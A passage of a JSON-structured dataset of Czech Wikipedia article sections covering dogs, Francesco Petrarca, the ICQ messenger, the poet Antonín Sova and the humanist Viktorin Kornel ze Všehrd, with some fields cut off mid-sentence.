ale i zbytky po lidské potravě. Mezi stravu pro psa nebezpečnou patří čokoláda (theobromin je pro psy vysoce toxický), hrozny a hrozinky, avokádo, vařené kuřecí kosti (štěpí se a mohou poškodit žaludek či střeva), syrová játra (možná toxicita vitamínem A), česnek, cibule, sladkosti obsahující xylitol (zvyšuje u psů hladinu inzulinu), mandle, ořechy, potraviny obsahující kofein (způsobuje u psů poruchy srdečního rytmu), čaj, rajčata, brambory, droždí, sušenky, houby, syrové vaječné bílky, tučné mléko a další.", "Granule je obecný termín pro krmiva vyráběná extruzí. O krmení granulí existuje mnoho sporů, neboť je prokázáno, že méně kvalitní granule nebo granule s nevhodným složením mohou poškozovat", "Vztah člověka a psa je vytvářen již od jeho domestikace. Lidé často více soucítí se psy než s jinými lidmi.", "Pes je v různých kulturách vnímán různě: někde je uctíván, jinde zatracován. Je důležitým zvířecím symbolem v mnoha kulturách.", "Egypťané podobně jako Inkové, Peršané či Indové uctívali psa jako strážci podsvětí a průvodce do království smrti. Pro psa to znamenalo velké ocenění, neboť Egypťané povyšovali kult smrti nad vše ostatní. Jejich bůh Anubis", "Akkadská bohyně Gula byla patronkou psů v Mezopotámii. Lidé jí z vděčnosti nosili psy vymodelované z hlíny. Na sumerských pečetích jsou často zobrazení psi s velkou hlavou, podobní dnešním mastifům, kteří se v Mezopotámii objevili o něco", "Řekové si psů též vážili. Chovali ve svatyních boha Asklépia posvátné jedince, kteří pomáhali uzdravovat nemocné. Lovec Orion měl dva psy – Procyona a Siria. Jejich jména nesou jedny z nejjasnějších hvězd na obloze – Sirius a Prokyon. Řecký strážce", "Římskou bohyni lovu Dianu, podobně jako boha obchodu Merkura, doprovází lovečtí psi. Římané byli zřejmě první, kteří se zabývali systematickým chovem psa - plemenitbou. Vlastnit psa bylo stejně módní jako vlastnit otroka. Mezi oblíbená plemena patřili zejména větší psi, kteří sloužili jako hlídači dvora a majetku, o čemž svědčí i varovné nápisy, které archeologové objevili v Pompejích. Dnešní tabulky „Pozor pes“ mají tedy historii sahající až do této doby. Starověký Řím byl i místem psích zápasů, pro které byla šlechtěna speciální plemena psů. Své zastoupení našla v Římě i lovecká a společenská plemena.", "Ve středověku byly nejpopulárnější lovečtí psi, tou dobou vznikala řada plemen, která jsou", "Vztah křesťanství jakožto náboženství ke psům není nijak vyhraněný. Ale pes je například věrným průvodcem Tobiáše.", "V islámu je pes považován za nečisté zvíře, proto většina muslimů psy nechová. Žádný zákaz (haraam) chovu psů ale v islámu neplatí, i", "V novověku se rozšířil chov jak loveckých, tak i společenských psů. V 19. století se začaly konat psí výstavy a byl kladen důraz na exteriér psů, případně jejich chování. V současnosti jsou psi velmi oblíbení domácí mazlíčci, chovaní téměř po celém světě. Psa chová či chovalo mnoho význačných osobností, například Adolf Hitler (Blondie) nebo Barack Obama (několik portugalských vodních psů).", "V některých zemích je omezen nebo zakázán chov plemen psů, která jsou považována za nebezpečná. V Česku žádné plemeno zakázáno není, ale omezující zákony platí například na Slovensku. Mezi zakázanými plemeny se často objevují plemena jako americký pitbulteriér, anglický bulteriér, argentinská doga, brazilská fila, bandog nebo tosa inu. Chov psů zakazují také někteří majitelé domů kvůli možnému hluku nebo znečišťování bytů, což je od vstoupení nového občasnkého zákoníku v platnost nelegální.", "Psí maso je v některých kulturách dodnes součástí jídelníčku. Nejčastěji je konzumováno v Číně, Jižní Koreji a Vietnamu. V Číně se ročně zabije a zkonzumuje asi 10 milionů psů. Ve Vietnamu se na maso ročně zabijí až 5 milionů psů. V Jižní Koreji je", "Věda, která se zabývá studiem psů, se nazývá kynologie. Mezinárodní unií je Mezinárodní kynologická federace (FCI), v Česku má pobočku u České kynologické unie.", "Psí sporty jsou speciální sporty pro psy nebo pro psy s majiteli. Oblíbené jsou zejména pro svoji účelnost, pokud jde o", "V průběhu soužití psa s člověkem se podařilo vytvořit nejrůznější plemena psů, které", "Chov psů může v", "V anglofonním prostředí se hovoří o dichotmii \"cat people x dog people\", čili \"kočičí lidé vs. psí lidé,\" a to na základě afinity k jednomu ze zmiňovaných druhů zvířat." ] }

{ "title": [ "Život.", "Mládí a studia.", "Život ve Vauclause a Lauřina smrt.", "Život v Miláně, Benátkách a pozdní věk.", "Smrt a pohřeb.", "Česká vydání.", "Texty ve středověkých kodexech.", "Humanistické překlady.", "Moderní překlady." ], "section_level": [ "1", "2", "2", "2", "2", "1", "2", "2", "2" ], "content": [ "", "Francesco Petrarca se narodil roku 1304 v toskánském městě Arezzo. Jeho otec, florentský právník Ser Pietro (Petracco) di Parenzo (1267–1326) byl z rodného města vypovězen z politických příčin, jelikož patřil k bílým guelfům, odpůrcům papežské moci, zatímco Florencii ovládli černí guelfové. Tato situace značně ovlivnila pozdější básníkovo smýšlení, ve sbírce \"Dopisy přátelům\" (\"Epistolae Familiares\", 1366) například v jednom dopise zdůrazňuje, že byl počat v exilu a zrozen v exilu. Petrarcovo dětství bylo pak poznamenáno častým stěhováním a také během života básník později pobýval v mnoha různých italských městech, nikdy však ve Florencii, kterou nazýval patria (vlast). Svým životem „vyhnance“ Petrarca poněkud připomíná Danta, ale vzhledem k tomu, že byl na rozdíl od něj dobře materiálně zajištěn a ve Florencii nikdy delší dobu nepobýval, jednalo se možná spíše o pózu. Petrarcova rodina žila nejprve v Pise, poté od roku 1312 v Avignonu a posléze v provensálském městě Carpentras. V Carpentrasu mladý Petrarca studoval společně se svým bratrem Gherardem rétoriku a gramatiku u Convenevoleho da Prato. Od roku 1316 studoval práva v Montpellieru a pak od roku 1322 na univerzitě v Bologni. Po otcově smrti v roce 1326 Petrarca práv zanechal a vrátil se zpátky do Avignonu. Po otci, který pracoval jako notář na papežském dvoře a měl značnou zálibu v latinských klasicích, zdědil Petrarca vzácný vergiliovský kodex, do nějž později zapisoval některé výrazné události svého života (setkání s Laurou v roce 1327, krádež a znovuzískání řečeného rukopisu v roce 1338, Lauřinu smrt v roce 1348, smrt syna Giovanniho a také úmrtí patrona Giovanniho Colonny a různých přátel). Předpokládá se, že ve 20. letech 14. století začal Petrarca psát básně. První dochovaný text, panegyrik na zesnulou matku Elettu rozenou Caniganiovou, umístil badatel Ernest Hatch Wilkins do roku 1318 nebo 1319, většina moderních vědců se však domnívá, že báseň je o několik let mladší. Návrat do Avignonu byl pro Petrarcův pozdější život klíčový, neboť právě v avignonském kostele svaté Kláry na Velký pátek 6. dubna 1327 poprvé spatřil svou osudovou lásku Lauru de Sade, rozenou de Noves. Své pocity při setkání vyjádřil ve třetím sonetu svého \"Zpěvníku\": V roce 1330 bratrům došly finanční prostředky pro otci, Francesco Petrarca proto přijal nižší svěcení a vstoupil do služeb kardinála Giovanniho Colonny jako kaplan. S rodinou Colonnů, zejména s kardinálovým bratrem Giomem, ho pojilo dlouholeté přátelství a kromě zajištěného místa získal básník přístup ke kodexům latinských autorů, jež mu Colonnové obstarávali. Nedlouho poté začal cestovat po Evropě. V Lutychu objevil v roce 1333 ztracenou Ciceronovu řeč \"Pro Archia poeta\", a tato událost se stala druhým významným impulzem ovlivňujícím Petrarcův pohled na život. Třetí formující událostí v Petrarcově mládí se stal zisk opisu Augustinových \"Vyznání\" darem od augustiniánského mnicha Dionigiho da Borgo San Sepolcro. Knihu nosil Petrarca až do konce života s sebou a přikládal jí velký význam. V prosinci roku 1334 byl zvolen nový papež, Benedikt XII. Jako jeden ze svých prvních kroků udělil Petrarcovi v lednu následujícího roku kanonikát při katedrále v Lombez. Petrarca svůj kanovnický úřad nevykonával na místě, beneficium mu však zajišťovalo příjem a držel si je až do roku 1355. V letech 1335 a 1336 pak dvakrát vyzval papeže k návratu z avignonského zajetí do Říma. Řím na konci roku 1336 sám navštívil a byl uchvácen monumentálními starověkými zříceninami. V témže roce navštívil Avignon sienský malíř Simone Martini a Petrarca ho požádal, aby vytvořil Lauřin portrét. Do roku 1336 se také datuje Petrarcův pravděpodobný výstup na horu Mont Ventoux. Zachytil ho v dopise pro teologa Dionigiho da Borgo Sansepolcro, napsaném ovšem dlouho po návštěvě vrcholu, v roce 1352 či 1353. V něm popsal, jak se ho po dosažení vrcholu nejprve zmocnil úžas nad majestátem hory a přírodní scenérií. Pak se však zamyslel nad svým životem, otevřel svazek Augustinových \"Vyznání\" a přečetl si pasáž o tom, že se lidé diví horám, mořím, řekám a hvězdám, a sebe zanedbávají. Tento úryvek vedl Petrarcu podle jeho vlastního líčení k pochopení toho, jak nesmyslné bylo jeho šplhání na horu, vedené jalovou zvědavostí. Petrarca se tímto aktem náhodného čtení a následného osvícení připodobnil ke svému vzoru, svatému Augustinovi, na rozdíl od něj však neprošel jednoznačnou konverzí – místo toho zážitek vedl k filosofickému poznání a uvědomění, že „morální výška“ obrovské hory je pouhý loket. Petrarcův popis výstupu začal být znovu čten na přelomu 18. a 19. století a stal se tématem debat o vnímání přírodních krás. Petrarca byl dokonce označován za zakladatele turistiky, horolezectví či alpinismu. Někteří autoři, zejména Jacob Burckhardt a mnozí autoři rozvíjející jeho teze, vnímali Petrarcův „zbytečný“ výstup na horu jako revoluční čin prvního moderního člověka, toužícího v každém okamžiku po požitku z přírody. Jiní autoři, například Lynn Thorndike, vyjádřili s tímto pojetím nesouhlas, neboť to, co podle nich považuje Burckhardt za moderní a typicky renesanční, bylo ve skutečnosti běžné v každé době. Dobové prameny skutečně ukazují, že Petracův čin a jeho motivace nebyly ojedinělé – pařížský filosof Jean Buridan zaznamenal, že na Mont Ventoux šplhalo ve 14. století každé léto mnoho lidí. Petrarcovo líčení výletu na vrchol však i tak zůstává mnohými filosofy vnímáno jako důležitý mezník kulturního vývoje, neboť básník byl schopen svou zvědavost, pocit ohromení a následnou introspekci literárně zachytit.", "Po návratu do Francie se Petrarca přestěhoval do provensálského údolí Vaucluse a pobyt v přírodě střídal s diplomatickými misemi a návštěvami různých italských měst. V roce 1337 se v Avignonu narodil básníkův syn Giovanni. Byl jedním ze dvou dětí, které měl s neznámou ženou, druhou byla dcera Francesca v roce 1343. Obě děti později legitimizoval. Na přelomu let 1338 a 1339 začal s prací na textu \"O slavných mužích\" (\"De viris illustribus\") a na eposu \"Afrika\" (\"Africa\"). V něm se inspiroval vergiliovským a liviovským pojetím Scipiona Africana, římského hrdiny druhé punské války. 8. dubna 1341 byl v Římě podle antického zvyku korunován vavřínovým věncem, a získal tak titul poëta laureatus. Dva roky pak pobýval v Parmě, poté v Neapoli a posléze opět v Parmě, odkud ale musel v roce 1345 vinou válečných operací uprchnout do Verony. Když v Římě vypuklo v roce 1347 lidové povstání, které vyneslo na dva měsíce k moci Colu di Rienzo, napsal pro nově zvoleného tribuna nejprve eklogu a dva povzbudivé dopisy, zatímco po skončení Colova římského dobrodružství dopis vyčítavý. I tak podpora uchvatitele narušila Petrarcovo přátelství s rodinou Colonnů. V roce 1348 zasáhla Evropu morová epidemie, které podlehla také Petrarcou obdivovaná Laura. Autor v té době pobýval v Parmě. V následujících letech opět střídal různá italská města a domov v Provence, krátce se zdržel i ve Florencii. Patrně v návaznosti na Ciceronovy dopisy (Atticovi, bratru Quintovi, Brutovi), které nalezl ve veronské katedrální knihovně, se Petrarca v roce 1350 rozhodl uspořádat svou veřejnou i soukromou korespondenci. Rovněž začal uspořádávat své básně psané vernakulárním jazykem, tedy italsky, a sice pod názvem \"Zlomky v jazyce lidovém\" (\"Rerum vulgarium fragmenta\" či prostě \"Básně\", \"Rime\") a v této činnosti pak pokračoval až do konce života. V roce 1352 či 1353 dokončil Petrarca svou intelektuální a morální zpověď \"Mé tajemství\" (\"Secretum meum\"). V tomto období pracoval také na latinsky psaných dílech – \"Pamětihodných příbězích\" (\"Rerum memorandarum libri\"), \"Pastýřské písni\" (\"Bucolicum Carmen\"), \"O zbožném klidu\" (\"De otio religioso\") či \"O samotářském životě\" (\"De vita solitaria\"). Od roku 1342 do roku 1355 pobíral příjem jako kanovník při katedrále v Pise, beneficium obdržel od papeže Klementa VI.", "Petrarca definitivně opustil Vaucluse v roce 1353 a usadil se na osm let v Miláně. Zde získal pozici na dvoře arcibiskupa Giovanniho Viscontiho. Petrarcovi florentští přátelé byli volbou autoritářsky vedeného Milána zaraženi, neboť odporovala jejich svobodomyslným ideálům. Básník se však obhajoval tvrzením, že si svou uměleckou samostatnost ubrání a že bude mít klid ke studiu, což se ukázalo být správným předpokladem. Z Milána Petrarca často vyjížděl za diplomatickými posláními, mimo jiné do Benátek, Mantovy, Paříže či Prahy (v roce 1356, poté, co se o dva roky dříve setkal s Karlem IV.). V Miláně začal sestavovat své italsky psané \"Triumfy\" (\"Trionfi\"), jež se rovněž staly životním dílem, doplňovaným až do smrti. V letech 1362 až 1367 žil Petrarca v Benátkách, kde ve svém domě v roce 1363 několik měsíců hostil Boccaccia. Z této pozdní fáze básníkova života pocházejí sbírky korespondence – \"Dopisy přátelům\" (\"Familiares\") a \"Dopisy ze stáří\" (\"Seniles\"). Stal se také autorem rozsáhlého moralizujícího a filosofujícího spisu \"O lécích proti štěstí a neštěstí\" (\"De remediis utriusque fortune\", 1354–1365) a též polemického textu \"O nevědomosti mé a mnoha dalších\" (\"De sui ipsius et multorum ignorantia\", 1367), v němž se Petrarca ostře vymezil proti scholastické a averroistické tradici předcházejících století. V roce 1370 mu Francesco da Carrara daroval pozemek v městečku Arquà, kde se básník v nově vystavěném domě usídlil a až do smrti žil. V posledních letech života se Petrarca věnoval mimo jiné zahradničení, se kterým začal již ve Vaucluse, a do svého rukopisu Palladiova traktátu o zemědělství (\"De re rustica\") si zapisoval potíže, s nimiž se potýkal, například uschnutí značné části vysazených ovocných stromů a vavřínů. Na pozvání papeže Urbana V. se vydal do Říma, cestou byl však ve Ferraře stižen mdlobami a slabostí, patrně srdeční, a musel být převezen do Padovy, odkud se vrátil zpět do Arquà. V prosinci 1371 se v obavách před morem na krátký čas uchýlil opět do Padovy, na dvůr svého obdivovatele Pandolfa II. Malatesty. V říjnu 1372, poté, co padovský venkov začala ohrožovat vojska Benátské republiky, musel Petrarca do Padovy v krátké době potřetí. Přesto však odmítl usídlit se ve městě natrvalo, byť Malatestovi věnoval jako výraz vděku nejnovější verzi souboru svých italských básní (Rerum vulgarum fragmenta). V reakci na činnost francouzského mnicha Jeana de Hesdin pak básník napsal svůj poslední polemický spis \"Invektiva proti tomu, kdo pohaněl Itálii\" (\"Invectiva contra eum qui maledixit Italie\"). Posledním Petrarcovým diplomatickým posláním se stala v září 1373 cesta do Benátek, kde se společně se svým synem Francescem Novellem účastnil mírových jednání po vítězství Benátské republiky nad Padovou.", "V lednu 1374, půl roku před smrtí, daroval Petrarca rukopis Augustinových \"Vyznání\" svému florentskému příteli Luigi Marsilimu. Tento dar je vnímán jako pomyslné předání žezla humanismu, od toho okamžiku třímaného právě Florencií. Francesco Petrarca pak zemřel v noci z 18. na 19. července 1374. Neznámý autor připsal do jednoho z Petrarcových rukopisů poznámku o tom, že příčinou jeho smrti byla nemoc, při které básník upadal na několik hodin do mrákot. Podle autora glosy byla nemoc léčitelná, proto vyčetl Petracovi jeho pohrdání lékařství a odmítání léků – podle jeho tvrzení si Petrarca mohl sám za to, že zemřel „jako pes“, beze svědků a bez posledního pomazání. V městečku Arquà byl také pochován, a sice na náměstí před místním kostelíkem. Jeho hrobka byla vybudována podle vzoru krypty mýtického zakladatele Padovy, Antenóra. K raným redaktorům a opisovatelům Petrarcova díla patřil Lombardo della Seta z Padovy a františkán Tedaldo della Casa z Florencie. Ihned po smrti se začal vzmáhat obdiv k básníkově životu, viděnému jako ctnostný, příkladný a svatý. Kardinál Francesco Zabarella nazval Petrarcu božským pěvcem (divinus vates), básník byl předními osobnostmi kladen na roveň velkým antickým autorům a vznikaly básně k jeho uctění. Florentský kronikář Filippo Villani zpracoval Petrarcovu smrt hagiograficky, když popsal, že básníkův duch, vypouštěný z úst, stoupal v podobě obláčku k nebesům jako vonné kadidlo. Také básníkův dům a hrobka v Arquà se záhy staly předmětem zájmu a cílem poutníků, učenců a básníků. Již v 16. století nechal padovský šlechtic Pietro Paolo Valdezocco původně gotický příbytek renesančně rozšířit a vymalovat petrarcovskými motivy. Přestože sám Petrarca chápal jako těžiště svého díla latinské práce, stal se pro budoucí čtenáře a autory známý především jako pisatel básní v italštině. Jeho \"Zpěvník\" se stal vzorem elegantní a vytříbené milostné poezie a celého směru označovaného jako petrarkismus. Mezi Petrarcou ovlivněné tvůrce patří velcí renesanční a barokní autoři jako Geoffrey Chaucer, Edmund Spenser, John Donne, John Milton, William Shakespeare, Pierre de Ronsard a četní další.", "", "V prostředí českého pozdního středověku byla díla Francesca Petrarcy pořizována poměrně hojně, preferovány však byly jeho práce náboženské před humanistickými. Z 56 textů dochovaných v kodexech v českých knihovnách jsou nejčastěji zastoupeny \"Kajícné žalmy\" (12x), latinský překlad Boccacciovy \"Griseldy\" (9x) a traktát \"O samotářském životě\" (5x). Čeští vzdělanci četli Petrarcu především jako autora nové, intimní religiozity a jeho žalmy byly zařazovány vedle děl teologických či mystických.", "Již Pinvičkův sborník z 60. let 15. století obsahuje dekameronovskou novelu Griselda, nepřeloženou do češtiny z Boccacciova italského originálu, nýbrž z Petrarcova latinského překladu. Prvním vydáním originálního Petrarcova díla v češtině se nicméně stal v roce 1501 \"Frančiska Petrarchy poety a velmi znamenitého a dospělého muže v výmluvnosti kniehy o lékařství proti štěstí a neštěstí\". Překlad pořídil Řehoř Hrubý z Jelení, tisk zajistil Jan Severýn z Kapí Hory. Hrubý z Jelení vytvořil i překlady některých Petracových listů (\"Františka Petrarky Epištol šestnácte bez titulu\" a \"Epištola k Hannibalu biskupu tuskulánskému o závisti a lakomství\"), ty však vydány nebyly a dochovaly se pouze v kodexu z roku 1512. Mikuláš Konáč z Hodiškova přeložil a v roce 1507 ve spolupráci s tiskařem Janem Volfem vydal \"Sedm žalmuov kajících Petrarchy, poety znamenité a muže bohomyslného i nábožného, krátkých v sloviech, ale v rozumu převelmi dlúhých\". \"Lékařství proti štěstí a neštěstí\" bylo rovněž pramenem pro florilegium Jana Češky \"Řeči a naučení hlubokých mudrců\", dochované v 6 kodexech v průběhu 16. století. Toto významné zpracování bylo rovněž třikrát vydáno tiskem (1529, 1572, 1579). Z prvních let 16. století pochází ještě anonymní kodex obsahující mimo jiné tři petrarcovské překlady: \"Františka Petrarky Rozmlouvání dvoje o pravé moudrosti mezi mudrcem a nedoukem\", \"Téhož Petrarky Epištolu k nějakému příteli svému o bídě žalujícímu města římského\" a \"Téhož Petrarky Epištolu k Hannibalovi Tuškulanskému biskupu o závisti a lakomství\". Josef Jungmann uvedl, že tento spis byl v roce 1551 vytištěn v Prostějově, žádný exemplář se ale patrně do moderní doby nezachoval.", "V 19. století se stal Petrarca znovu objektem zájmu českých překladatelů a vydavatelů. Před jeho latinskými pracemi však dávali moderní překladatelé přednost textům v italštině, zejména básním ze \"Zpěvníku\". Překlady Petrarcových textů obsahují také tyto publikace:" ] }

{ "title": [ "Etymologie.", "Funkce.", "UIN.", "Historie.", "Vývoj klienta.", "Další produkty.", "Kritika.", "Spam.", "Soukromí a duševní vlastnictví.", "Tlak na alternativní klienty.", "Problémy s původní smlouvou.", "Seznam alternativních klientů." ], "section_level": [ "1", "1", "2", "1", "2", "2", "1", "2", "2", "2", "2", "1" ], "content": [ "Písmena ICQ (s výslovností [áj sí kjú]) se v angličtině vyslovují stejně, jako věta I Seek You česky \"Hledám tě)\". Ve fonetickém přepisu se tedy jedná o podobný případ užití, jako např. \"4U\" (\"For You\") či \"O5\" (\"opět\").", "Funkce programu ICQ zahrnují posílání textových zpráv, offline posílání zpráv, skupinové chatování, odesílání SMS zpráv, odesílání souborů a hry pro více hráčů provozované pomocí technologie Flash.", "Uživatelé ICQ jsou identifikování číslem nazvaným UIN, toto číslo se uděluje v pořadí od nuly. V \"ICQ 6\" se uživatelé mohou přihlásit zadáním e-mailové adresy, která je zadána při registraci ICQ. Noví uživatelé v roce 2011 dostávají UIN s číslem 500-000-000 a vyšším, nižší čísla (pěti a šesticiferná) jsou dražena na aukčních serverech, jako je eBay, uživateli, kteří se registrovali dříve. UIN je zkratka z \"Universal Internet Number\" nebo z \"Unified Identification Number\", které po registraci obdrží každý uživatel ICQ. Na rozdíl od jiných instant messengerů je v ICQ jediná stálá a neměnná informace číslo UIN, vyhledávat uživatele lze přes e-mail, přezdívku, jméno, příjmení a UIN. Nick se dá změnit vždy, bez registrace. Jako reakci na zvětšující se počet \"krádeží\" atraktivních nebo krátkých UIN hackery, ICQ začalo ukládat emailové adresy dříve spojené s UIN. UIN byly kradeny phishingem nebo metodou brute force, původní majitelé se ke svým UIN mohli dostat dokud hackeři nezměnili emailovou adresu přiřazenou k UIN.", "ICQ bylo vyvinuto v roce 1996 izraelskou firmou Mirabilis. Firmu založili čtyři Izraelci, Jair Goldfinger, Arik Vardim, Sefi Vigiser a Amnon Amir. Po zakoupení společností America Online (AOL) je ICQ řízeno Arielem Jarnitskym a Avim Schechterem. America Online získala Mirabilis 8. června 1998 za 407 milionů dolarů (287 milionů v hotovosti a 120 milionů v tříletých splátkách). 19. prosince 2002 firma AOL Time Warner oznámila, že ICQ požádalo o patent na instant messaging v USA. 28. dubna 2010 pak AOL prodalo produkt ICQ ruské investiční společnosti Digital Sky Technologies.", "Verze klienta ICQ 2000 a ICQ 2001 obsahovaly \"Upomínky\" a \"Poznámky\", obě tyto funkce nebyly v dalších verzích přítomny. Verze klienta ICQ Pro 2003b byla první verzí, která používala ICQ protokol verze 10, ICQ 5 a 5.1 používaly verzi protokolu 9, ICQ 2002 a 2003a používaly verzi 8. Všechny předchozí verze programu ICQ užívaly protokol verze 7. U verze ICQ 4 a pozdější ICQ 5 (vydána v 7. února 2005) došlo později ke změně na \"ICQ Lite\". Rozdíl od hlavního klienta protokolu ICQ byl v přidání tzv. \"Xtraz\", softwaru obsahující různé hry a další funkce. Původním posláním klienta ICQ Lite byla nabídka menšího a rychlejšího alternativního klienta. Klient protokolu ICQ podporoval změnu obrázku na pozadí software (do roku 2003), verze ICQ 5 nabídla podporu skinů, které si uživatel mohl libovolně měnit. Na oficiálních internetových stránkách se nachází několik oficiálních skinů, pomocí programu SkinBuilder někteří uživatelé vyvinuli vlastní skiny a nabídli je ke stažení. Verze klienta ICQ 6 byla vydána 17. dubna 2007. Uživatelské rozhraní bylo od základu přebudováno a bylo použito nové vykreslovací jádro společnosti America Online s názvem \"Boxely\". Kromě změny vzhledu bylo novou funkcí posílání krátkých zpráv ze seznamu kontaktů. Verze klienta ICQ Lite 1.0 byla vydána 11. prosince 2008. Podobá se spíše jednoduchým alternativním klientům, oficiálně byla dostupná jen pro ruský trh. Na tamním trhu vytvářela konkurenci ruskému alternativnímu klientu QIP 2005. Po instalaci bylo možné nastavit jako jazyk uživatelského rozhraní angličtinu či ruštinu. Jak se na původního lehkého a snadno použitelného klienta nabalovaly další, mnohdy zbytečné funkce, ztratila se původní elegance celého ICQ.<ref name=\"www.root.cz/clanky/dvacet-let-v-it-mirny-pokrok-v-mezich-zakona\"></ref>", "Dalším produktem společnosti ICQ byl webový klient s názvem \"ICQ2Go\", měl minimální množství funkcí. Verze byla naprogramována pomocí technologie Adobe Flash, starší verze používala programovací jazyk Java. Společnost ICQ také vyvinula alfa verzi programu Compad, experimentálního klienta podobného ICQ, který nebyl dostupný pro celý svět.", "Podle bezpečnostního analytika Jeffrey Carra může být užívání ICQ spojeno s bezpečnostními problémy, protože společnost byla zakoupena ruskou investiční společností Digital Sky Technologies. Protokol ICQ tak přestal být oblíben uživateli internetu ve Spojených státech a v Británii, stále však zůstává populární ve východní Evropě a v Rusku. Carr si myslí, že nový majitel společnosti ICQ může být využit ruskou tajnou službou FSB pro přístup do záznamů rozhovorů uživatelů protokolu ICQ, protože ruské právo umožňuje otevřít tyto záznamy „vždy když agent řekne“.", "Protokol ICQ je údajně používán pro distribuci nevyžádaných reklamních zpráv a spamu. Příčinou tohoto stavu je fakt že UIN je tvořeno čísly takže není potřeba mít jmenný seznam jako třeba u emailu.", "Pokud uživatel souhlasil s podmínkami užívání ICQ (rok 2000), tak dovoloval užití všech odeslaných informací společnosti ICQ Inc. Toto mohlo znamenat, že společnosti ICQ mohl zveřejňovat, distribuovat a dále manipulovat s jakýmikoliv daty a také se zprávami odeslanými pomocí protokolu ICQ.", "Společnost America Online dříve dodržovala tvrdý přístup vůči alternativním (neautorizovaným) klientů protokolu ICQ. Системное сообщение Systémová zpráva Na stránkách Icq.com byla důležitá zpráva pro rusky mluvící uživatele sítě ICQ: „ICQ осуществляет поддержку только авторизированных версий программ: ICQ Lite и ICQ 6.5.“ („ICQ podporuje pouze autorizované verze klienta: ICQ Lite nebo ICQ 6.5.“) Vysvětlení: AOL navrhla novou verzi protokolu ICQ, ke kterému dala na svém webu také volně dokumentaci. Dále 2 roky předem AOL avizovala, že dojde k vypnutí starého protokolu. Pouze ICQ programy, které nedisponovaly novou verzí protokolu, byly po dvou letech neschopné navázat spojení, protože došlo k dva roky předem ohlášené změně – vypnutí starší verze protokolu.", "Software ICQ při instalaci vyžaduje přečtení, porozumění a souhlas nejenom s českým překladem, ale také se smlouvami v angličtině uvedenými na oficiální stránce společnosti. Tyto navíc obsahují klauzuli, že se uživatel má průběžně k těmto podmínkám vracet, zdali nedošlo k nějakým změnám. Registrací ICQ účtu uživatel souhlasil, že četl a že respektoval všechny tyto smlouvy, ve kterých mimo jiné stálo, že:", "Další programy, umožňující komunikaci s protokolem ICQ (jejich používání je v rozporu s podmínkami použití ICQ):" ] }

{ "title": [ "Rodinný původ.", "Životopis.", "Dílo.", "Odraz v kultuře." ], "section_level": [ "1", "1", "1", "1" ], "content": [ "Jeho otec Jan Sova byl venkovským učitelem a regenschorim. Od roku 1855 učil v jihočeském Pacově, který dnes leží v kraji Vysočina. Zde se také 26. února 1864 na místním zámku narodil Antonín Sova. Roku 1866 se rodina přestěhovala do blízkého Lukavce. Otec byl prvním básníkovým učitelem i v oblasti umění, zejména hudby. Citově však byl Sova vázán více k matce Josefě, rozené Skalické. Její smrt roku 1878 a otcův nový sňatek patřily k intenzivním zážitkům, jež se později objevily v několika spisovatelových dílech. Záznam o sňatku je zaznamenán v matriční knize v SOA Třeboň na této adrese https://digi.ceskearchivy.cz/6232/25/1846/1141/53/0", "Velký význam pro Sovovo básnické zrání mělo lukavecké přátelství se sestrami básníka Jaroslava Vrchlického, které mu přiblížily poezii lumírovců. Gymnázium Sova studoval nejprve v Pelhřimově, Táboře a od roku 1880 v Písku, kde v polovině 80. let maturoval. První básnické příspěvky otiskl ještě za středoškolských studií pod pseudonymem \"Ilja Georgov a Valburga Turková.\" Po maturitě odešel do Prahy studovat práva, ale zanedlouho musel pro nedostatek finančních prostředků studií zanechat a vrátit se domů. S pomocí básníka Adolfa Heyduka, s nímž se seznámil v Písku, a Jaroslava Vrchlického se roku 1886 uchytil v Ottově slovníku naučném a o rok později nastoupil místo písaře-protokolisty ve zdravotním referátu pražského magistrátu. Aktivně se účastnil práce ve spolku beletristů Máj a v literárním odboru Umělecké besedy. Roku 1892 navštívil Itálii. Roku 1895 podepsal kolektivní vystoupení spisovatelů a publicistů manifest České moderny. V letech 1898–1920 byl ředitelem pražské městské knihovny. V této funkci byl vyslán roku 1901 na exkurzi do knihoven v Německu a Belgii. Těžká, bolestná choroba (s největší pravděpodobností syfilis), která se u Sovy projevila již před světovou válkou, mu nakonec znemožnila volný pohyb. Zemřel 16. srpna 1928 v Pacově.", "Jeho dílo bylo ovlivněno dobovými uměleckými směry realismem, symbolismem a impresionismem. V pozdější době se soustředil na přírodní a subjektivní lyriku. Jeho přírodní lyrika je spojena s jihočeským krajem, jeho milostná poezie je psána písňovou formou. Sova svými díly útočil proti společnosti a dával najevo protispolečenské postoje celé mladé generace. V jeho dílech se zároveň objevuje vlastenectví a hledání morálních a společenských hodnot.", "Sovovu poesii zhudebnila řada českých skladatelů, mezi nejvýznamnější patří písňový cyklus Vítězslava Nováka Údolí nového království. Antonínu Sovovi, a zejména jeho přírodní lyrice se věnuje humoristická a sarkastická skladba \"Antonín Sova\" české hardcore-folkové skupiny Jananas. Jeho báseň Pastorale ze sbírky Vybouřené smutky zhudebnila alternativní folková skupina Zrní." ] }

{ "title": [ "Život.", "Dílo.", "Zajímavost." ], "section_level": [ "1", "1", "1" ], "content": [ "Po studiích na pražské artistické fakultě získal v roce 1483 titul mistra a začal přednášet na univerzitě, v roce 1484 se stal děkanem pražské univerzity. Roku 1487 univerzitu opustil a přijal místo úředníka u zemských desk, zde studoval české právo. Stal se váženou osobností, i jako právník byl velmi známý. Roku 1492 byl povýšen do šlechtického stavu (ze Všehrd). Roku 1493 stal se místopísařem zemských desk, čímž se dostal do vedení tohoto úřadu (místo písaře bylo neobsazeno). Přátelil se s Bohuslavem Hasištejnským z Lobkovic, později se s ním však rozešel pro různé názory na náboženství. Kornel byl stoupencem Jednoty bratrské a po rozchodu s Hasištejnským začal psát česky. Začal překládat antické texty, ale těžiště jeho práce tkví v právnickém díle \"O práviech, o súdiech i o dskách země české knihy devatery\", k němuž čerpal především ze Zemských desk. Toto se mu stalo osudným, neboť jakmile šlechta zjistila, že Kornel chce zapsat a zveřejnit některé nálezy ze Zemských desk, o jejichž zrušení usilovala, přiměla krále Vladislava Jagelonského k odvolání Kornela z vedení Zemských desk; roku 1497 byl tohoto úřadu zbaven. Kornel však již měl dostatek materiálů a svou knihu dokončil o dva roky později. Zemřel v Praze v roce 1520 na mor. Je pohřben v Praze na Malé Straně v kostele svatého Jana Křtitele Na prádle.", "Psal latinsky i česky. Snažil se o vypracování češtiny na úroveň latiny, proto překládal některá latinská díla.", "Jméno Viktorina ze Všehrd bylo umístěno pod okny Národního muzea v Praze spolu s mnoha dalšími, viz Dvaasedmdesát jmen české historie. Navíc po něm byla v roce 1868 pojmenována právnická studentská organizace Spolek českých právníků 